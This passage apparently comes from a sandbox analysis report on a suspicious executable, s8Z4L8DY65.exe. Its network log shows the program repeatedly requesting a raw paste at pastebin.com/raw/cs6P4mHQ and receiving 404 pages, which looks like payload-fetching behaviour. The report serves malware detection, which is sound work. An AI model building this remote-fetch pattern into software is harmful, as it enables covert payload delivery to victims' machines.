2024-07-02 14:31:27 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	54865	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:28 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:28 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 132 Server: cloudflare CF-RAY: 89cf56f0ccd12365-EWR
2024-07-02 14:31:28 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	54866	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:28 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:28 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 132 Server: cloudflare CF-RAY: 89cf56f5b9853314-EWR
2024-07-02 14:31:28 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	54867	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:29 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:29 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 133 Server: cloudflare CF-RAY: 89cf56f9ca050f68-EWR
2024-07-02 14:31:29 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	54868	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:30 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:30 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 134 Server: cloudflare CF-RAY: 89cf56fdfa104234-EWR
2024-07-02 14:31:30 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	54869	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:30 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:30 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 134 Server: cloudflare CF-RAY: 89cf5701da23421f-EWR
2024-07-02 14:31:30 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	54870	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:31 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:31 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 135 Server: cloudflare CF-RAY: 89cf5705db04425d-EWR
2024-07-02 14:31:31 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	54871	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:32 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:32 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 136 Server: cloudflare CF-RAY: 89cf5709cdf643f8-EWR
2024-07-02 14:31:32 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	54872	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:32 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:32 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 136 Server: cloudflare CF-RAY: 89cf570d9c1872a4-EWR
2024-07-02 14:31:32 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	54873	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:33 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:33 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 137 Server: cloudflare CF-RAY: 89cf57117ed40f84-EWR
2024-07-02 14:31:33 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	54874	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:34 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:34 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 138 Server: cloudflare CF-RAY: 89cf5716e85fc326-EWR
2024-07-02 14:31:34 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	54875	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:34 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:34 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 138 Server: cloudflare CF-RAY: 89cf571add0442c4-EWR
2024-07-02 14:31:34 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	54876	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:35 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:35 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 139 Server: cloudflare CF-RAY: 89cf571ede8f9e16-EWR
2024-07-02 14:31:35 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, 